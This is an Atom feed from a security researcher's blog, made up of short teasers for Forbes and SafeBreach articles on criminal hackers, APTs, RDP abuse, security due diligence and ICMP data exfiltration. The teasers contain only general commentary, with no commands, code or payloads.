<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5189431754787123106</id><updated>2025-08-25T03:20:05.415+03:00</updated><title type='text'>I hack, therefore I am</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.ikotler.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-963277604807108328</id><published>2019-12-06T23:24:00.000+02:00</published><updated>2019-12-06T23:24:42.773+02:00</updated><title type='text'>Don&#39;t Let Your Fear Of Nation-State Hackers Blind You</title><content type='html'>Mr. Magoo is an old cartoon character famous for his inflated sense of status and an extreme case of myopia, made worse by his refusal to wear corrective glasses. As a result of his poor vision and ego, Magoo would find himself in precarious — and hilarious — situations because he was unable to see the danger right in front of him. Typically, the oblivious Magoo would leave a trail of destruction behind him..&lt;br /&gt;
&lt;br /&gt;
Enterprises today approach security a lot like Mr. Magoo, operating with the idea that they are more important than they really are and therefore are unable to see the real risks that beset them. The result? A lot of unnecessary damage.&lt;br /&gt;
&lt;br /&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/12/02/dont-let-your-fear-of-nation-state-hackers-blind-you/#35c33e0d7579&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/963277604807108328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2019/12/dont-let-your-fear-of-nation-state.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/963277604807108328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/963277604807108328'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2019/12/dont-let-your-fear-of-nation-state.html' title='Don&#39;t Let Your Fear Of Nation-State Hackers Blind You'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-6091604775722194290</id><published>2019-09-24T02:38:00.001+03:00</published><updated>2019-09-24T02:38:29.972+03:00</updated><title type='text'>Demystifying Criminal Hackers</title><content type='html'>As I write these pieces for Forbes Tech Council, I’ve tried to chip away at the Hollywood reputation that hackers have been given over the years. That reputation often keeps people &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2018/11/30/staying-one-step-ahead-of-criminal-hackers/#7cd3bd9d14c6&quot;&gt;from making good decisions&lt;/a&gt; about how to protect their networks and data, keeps people focused on the &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2018/06/05/fixating-on-vulnerabilities-is-a-vulnerability/&quot;&gt;wrong security priorities&lt;/a&gt;, and causes people &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/08/02/defending-against-hackings-long-game-it-aint-over-til-its-over/#75e653d53508&quot;&gt;to give up before the game is over&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
It’s important to keep in mind, however, that while criminal hackers may be smart and devious, they are also, in a sense, entrepreneurs who are in the game to make a quick buck. As such, they realize that hacking costs money and so they will do what they can to keep their operating costs low. Why, then, would you expect a criminal hacker to expend time and money developing specialized tools when there are easier ways to get to what they want?&lt;br /&gt;
&lt;br /&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/09/19/demystifying-criminal-hackers/#476999a51c1d&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/6091604775722194290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2019/09/demystifying-criminal-hackers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/6091604775722194290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/6091604775722194290'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2019/09/demystifying-criminal-hackers.html' title='Demystifying Criminal Hackers'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-8433186343103705895</id><published>2019-08-24T03:16:00.000+03:00</published><updated>2019-08-24T03:16:47.453+03:00</updated><title type='text'>Defending Against Hacking&#39;s Long Game: It Ain&#39;t Over Till It&#39;s Over</title><content type='html'>In the third quarter of Super Bowl LI, the New England Patriots trailed the Atlanta Falcons by a score of 28-3. History was against the Patriots’ chances of rallying for a comeback win. No team had ever overcome such a large deficit — especially so late in the game — to capture the NFL championship. And yet, against the odds, the Patriots stormed back to earn an improbable victory and their fifth Lombardi Trophy. Their win was the embodiment of Yogi Berra’s famous saying, “it ain’t over ‘til it’s over.” It also stands as an example for organizations fighting the good fight against hackers.&lt;br /&gt;
&lt;br /&gt;
You see, hackers are persistent and patient. They know they’ll lose more often than they win, but the payoff when they do win — &lt;a href=&quot;https://cybersecurityventures.com/hackerpocalypse-cybercrime-report-2016/&quot;&gt;predicted to reach $6 trillion annually by 2021&lt;/a&gt; — keeps them going. Unfortunately, we are too often blinded by short-term perspective when it comes to cyberdefense. We think that if a hacker succeeds in getting past our perimeter, we’re done for and we go into damage control mode. When we understand the way our opponent operates, however, we can shift our strategy to the long game because, &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/06/21/advanced-persistent-threats-calling-the-hackers-bluffs/#2ca808016da1&quot;&gt;as we’ve learned&lt;/a&gt;, there are numerous steps involved in a successful attack, and each gives us an opportunity to stop the hacker’s progress and win the game. &lt;br /&gt;
&lt;br /&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/08/02/defending-against-hackings-long-game-it-aint-over-til-its-over/#40976d4d3508&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/8433186343103705895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2019/08/defending-against-hackings-long-game-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/8433186343103705895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/8433186343103705895'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2019/08/defending-against-hackings-long-game-it.html' title='Defending Against Hacking&#39;s Long Game: It Ain&#39;t Over Till It&#39;s Over'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-3949669163059323226</id><published>2019-06-25T05:34:00.000+03:00</published><updated>2019-06-25T05:34:09.765+03:00</updated><title type='text'>Advanced Persistent Threats: Calling The Hackers&#39; Bluffs</title><content type='html'>In poker, the key to success is not just about the cards you hold; it&#39;s also about the cards you can make your opponent think you hold. Effective bluffing with a weak hand is a strategy that every card sharp learns to master in order to hold a psychological edge over the adversary, as an appearance of strength can provoke poor decision making. That kind of subterfuge has played out throughout the history of warfare, as well.&lt;br /&gt;&lt;br /&gt;
The Bible recounts the story of &lt;a href=&quot;https://biblehub.com/judges/7-21.htm&quot;&gt;Gideon&lt;/a&gt;, who, with a Hebrew force of just 300 men, routed a force of over 100,000 thanks to a bold bluff. More recently, as the allied armies prepared to liberate Europe during World War II, General George Patton was given command of a &quot;&lt;a href=&quot;https://www.theatlantic.com/technology/archive/2013/05/ghost-army-the-inflatable-tanks-that-fooled-hitler/276137/&quot;&gt;ghost army&lt;/a&gt;&quot; that fooled the Germans into thinking the landings at Normandy were not Operation Overlord’s main invasion force, delaying reinforcements while the allies&lt;br /&gt;&lt;br /&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/06/21/advanced-persistent-threats-calling-the-hackers-bluffs/#4497a7f06da1&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/3949669163059323226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2019/06/advanced-persistent-threats-calling_25.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3949669163059323226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3949669163059323226'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2019/06/advanced-persistent-threats-calling_25.html' title='Advanced Persistent Threats: Calling The Hackers&#39; Bluffs'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-4227218765717237016</id><published>2019-05-25T05:40:00.002+03:00</published><updated>2019-05-25T05:40:15.889+03:00</updated><title type='text'>When Good Tech Goes Bad</title><content type='html'>Have you ever needed to troubleshoot an issue with your computer, and your IT services pro was able to get direct access to your system from somewhere else and tackle it from their computer? While they did so, you were able to see their pointer track across the screen and go through the steps needed until ... voila! They were done, and you were back in business.&lt;br /&gt;&lt;br /&gt;
That’s a convenient ability. Giving a trusted expert direct access to your computer to take care of technical issues is a great way to facilitate IT services and quickly solve problems. That kind of support, facilitated through what is known as remote desktop protocol (RDP), has been a mainstay of technical and customer support organizations for years.&lt;br /&gt;
&lt;br /&gt;
But what if that privileged access fell into the wrong hands and was abused? What if, instead of a trusted adviser, RDP was used by a criminal hacker?&lt;br /&gt;&lt;br /&gt;
Read the full article at Forbes&amp;nbsp;&lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/05/24/when-good-tech-goes-bad/#3aba556c5ac1&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/4227218765717237016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2019/05/when-good-tech-goes-bad.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4227218765717237016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4227218765717237016'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2019/05/when-good-tech-goes-bad.html' title='When Good Tech Goes Bad'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-644082721297235910</id><published>2019-03-01T23:19:00.002+02:00</published><updated>2019-03-01T23:19:42.092+02:00</updated><title type='text'>Do You Do Security Due Diligence Before A Merger Or Acquisition?</title><content type='html'>If a thorough cybersecurity audit isn’t a part of your mergers and acquisitions due diligence process, I think it should be. I’m not talking about the kind of halfhearted scan that checks a box for the board of directors. There’s too much at stake to do anything less than a deep examination of all network and endpoint elements that can reveal undetected compromises and lurking threats.&lt;br /&gt;
&lt;br /&gt;
Global mergers and acquisitions activity in the first three quarters of 2018 was valued at $3.3 trillion. That’s a lot of capital in play, and for every deal made, the due diligence process focuses on finances and compliance to ensure that the acquiring party knows as much about the target organization as possible. Due diligence is necessary to set a fair price, protect shareholder interests and establish confidence that the purchase makes sense — or not. Due diligence also gives management a basis from which to establish a strategy for successful business and market integration.&lt;br /&gt;
&lt;br /&gt;
Read the full article at Forbes&amp;nbsp;&lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2019/03/01/do-you-do-security-due-diligence-before-a-merger-or-acquisition/#785a4efd4535&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/644082721297235910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2019/03/do-you-do-security-due-diligence-before.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/644082721297235910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/644082721297235910'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2019/03/do-you-do-security-due-diligence-before.html' title='Do You Do Security Due Diligence Before A Merger Or Acquisition?'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-4039934948603632235</id><published>2018-12-12T04:44:00.003+02:00</published><updated>2018-12-12T04:44:41.177+02:00</updated><title type='text'>Staying One Step Ahead Of Criminal Hackers</title><content type='html'>In our efforts to stay one step ahead of the global criminal hacker cabal, my colleagues and I in the ethical hacker community try to approach our craft like our adversaries. To paraphrase Carl Spackler, we know that, in order to conquer the hacker, we have to learn to think like hackers. We’ve got to get inside the hacker’s pelt and crawl around. When you do that, you develop a begrudging respect for them.&lt;br /&gt;
&lt;br /&gt;
In popular culture, however, criminal hackers can become mythologized, not unlike the way the bank robbers of old were. Despite their chosen professions, the likes of John Dillinger, Bonnie and Clyde, Baby Face Nelson and Ma Barker were sometimes regarded as modern-day Robin Hoods. They were the little guys taking on the rich and powerful with daring and panache. Even when caught, they’d often revel in the attention. When asked why he robbed banks, the infamous “Slick” Willie Sutton supposedly quipped, “Because that’s where the money is.”&lt;br /&gt;
&lt;br /&gt;
That may have been true in the first half of the last century, but not anymore.&lt;br /&gt;
&lt;br /&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2018/11/30/staying-one-step-ahead-of-criminal-hackers/#70595cb414c6&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/4039934948603632235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2018/12/staying-one-step-ahead-of-criminal.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4039934948603632235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4039934948603632235'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2018/12/staying-one-step-ahead-of-criminal.html' title='Staying One Step Ahead Of Criminal Hackers'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-1827318544290695002</id><published>2018-08-24T06:48:00.001+03:00</published><updated>2018-08-24T06:51:58.214+03:00</updated><title type='text'>Were You Attacked Today With Yesterday&#39;s Hacking Technique?</title><content type='html'>We’re all familiar with the idea of recycling as a means of reducing the waste stream. Most of us are in the habit of separating our paper, plastic, glass and metal trash from other garbage. What you may not know is that recycling is a major trend in the hacker community, too. Many of the data breaches that have struck in recent years were accomplished using software that has been around for a long time -- today’s hack, yesterday’s technique.&lt;br /&gt;
&lt;br /&gt;
Tools that have been proven effective at fooling users and sneaking past network defenses are regularly reused by hackers. Whether the software was developed specifically for hacking or as a tool with a legitimate purpose that has been adapted for a less savory one, the hacker community has become expert at extracting value from what already exists. As with commercial software development, it takes time and money for hackers to write and test their code, and in order to maximize their profits, it makes sense to recycle what works. Often, these tried-and-true products are packaged and sold to others, furthering their potential to do harm.&lt;br /&gt;
&lt;br /&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2018/08/22/were-you-attacked-today-with-yesterdays-hacking-technique/#28b745027923&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/1827318544290695002/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2018/08/were-you-attacked-today-with-yesterdays.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/1827318544290695002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/1827318544290695002'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2018/08/were-you-attacked-today-with-yesterdays.html' title='Were You Attacked Today With Yesterday&#39;s Hacking Technique?'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-1785488342046039042</id><published>2018-06-06T04:50:00.004+03:00</published><updated>2018-06-06T04:50:56.826+03:00</updated><title type='text'>Fixating On Vulnerabilities Is A Vulnerability</title><content type='html'>You almost have to admire the hackers. Almost. Technology research firm Gartner (via &lt;a href=&quot;https://www.forbes.com/sites/tonybradley/2017/08/17/gartner-predicts-information-security-spending-to-reach-93-billion-in-2018/#766db8a63e7f&quot;&gt;Forbes&lt;/a&gt;) estimates that companies will spend $93 billion on cybersecurity technologies in 2018. Yet, according to a recent study by security firm Norton (via &lt;a href=&quot;https://www.technologyreview.com/the-download/610043/hackers-stole-172-billion-from-people-in-2017/&quot;&gt;MIT Technology Review&lt;/a&gt;), the relentless efforts of the global hacking community still netted $172 billion in ill-gotten gains. There’s no indication that things will be any different this year. Why do the hackers continue to succeed? What must industry do to make hacking a less profitable venture for the adversary?&lt;br /&gt;&lt;br /&gt;To better understand and answer these questions, it’s useful to examine the hackers’ successes and look for consistencies. But first, let’s define a word that is often misused or misunderstood in cybersecurity discussions: &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/cc751383.aspx&quot;&gt;vulnerability&lt;/a&gt;.&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Read the full article at Forbes &lt;a href=&quot;https://www.forbes.com/sites/forbestechcouncil/2018/06/05/fixating-on-vulnerabilities-is-a-vulnerability/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/1785488342046039042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2018/06/fixating-on-vulnerabilities-is_6.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/1785488342046039042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/1785488342046039042'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2018/06/fixating-on-vulnerabilities-is_6.html' title='Fixating On Vulnerabilities Is A Vulnerability'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-4433070076676590931</id><published>2017-02-16T02:12:00.000+02:00</published><updated>2017-02-16T02:12:05.709+02:00</updated><title type='text'>The Key To Cybersecurity: Shared Intelligence And Industry Cooperation</title><content type='html'>Chicago in the 1930s was a hive of organized crime where the bad guys always had the upper hand. As dramatized by the film &quot;The Untouchables,&quot; lawman Eliot Ness confides to Officer Jim Malone that he is prepared to do “everything within the law” to take down Al Capone. But streetwise Malone tells Ness that, to win, he must be prepared to do more. “He pulls a knife, you pull a gun. He sends one of yours to the hospital, you send one of his to the morgue. That’s the Chicago way.”&lt;br /&gt;
&lt;br /&gt;
Like ‘30s Chicago, the dark web is crawling with global crime syndicates, and everyone I&#39;ve talked to says fighting the &lt;i&gt;Chicago way&lt;/i&gt; sounds appealing. The problem is that the same laws that make hacking a crime also make it a crime to retaliate.&lt;br /&gt;
&lt;br /&gt;
Read full article at Forbes &lt;a href=&quot;http://www.forbes.com/sites/forbestechcouncil/2017/02/15/the-key-to-cybersecurity-shared-intelligence-and-industry-cooperation/#75dfce3e251d&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/4433070076676590931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2017/02/the-key-to-cybersecurity-shared_16.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4433070076676590931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4433070076676590931'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2017/02/the-key-to-cybersecurity-shared_16.html' title='The Key To Cybersecurity: Shared Intelligence And Industry Cooperation'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-517107976931619536</id><published>2016-07-13T23:14:00.002+03:00</published><updated>2016-07-13T23:14:55.151+03:00</updated><title type='text'>Fuzzing The Kill Chain</title><content type='html'>Fuzzing is a technique in software testing where you generate a number of random inputs, and see how a program handles it. So what does a testing technique have to do with a process such as the Cyber Kill Chain as developed by Lockheed Martin? Easy! Just as fuzzing a software produces resilient software, fuzzing a process will produce a validated process. The Kill Chain takes about seven steps that adversaries must complete in order to achieve their goals, but will it always be the case? Can an attacker pull off a successful attack with just one step? Or three? That’s what we’re going to fuzz out ...&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
(Again, in order to avoid cross-posting between the different blogs, that was just a brief paragraph and a link to the original post is below).&lt;br /&gt;
&lt;br /&gt;
Continue reading: &lt;a href=&quot;https://www.safebreach.com/blog/fuzzing-the-kill-chain&quot;&gt;https://www.safebreach.com/blog/fuzzing-the-kill-chain&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/517107976931619536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2016/07/fuzzing-kill-chain.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/517107976931619536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/517107976931619536'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2016/07/fuzzing-kill-chain.html' title='Fuzzing The Kill Chain'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-7903669417565815281</id><published>2015-12-02T21:55:00.001+02:00</published><updated>2015-12-02T21:55:57.733+02:00</updated><title type='text'>I See Your True ECHO_REQUEST Patterns (Pinging Data Away)</title><content type='html'>I&#39;ve started blogging again!&amp;nbsp;In order to avoid cross-posting between the different blogs, I&#39;ll just give a brief paragraph and a link back to the original post. Here we go:&lt;br /&gt;
&lt;br /&gt;
Getting into a network and getting data out of a network are two different challenges. Just because an employee clicked on a malicious link and got hacked, it doesn’t mean the attacker gets to walk off with PII, Financials, Source Code etc. In this blog post, we’ll explore the known breach method of using ICMP protocol for data exfiltration but with a twist. Instead of showing how to use this breach method with some custom made tools, we’re going to do it using the default and common ping utility– red team style!&lt;br /&gt;
&lt;br /&gt;
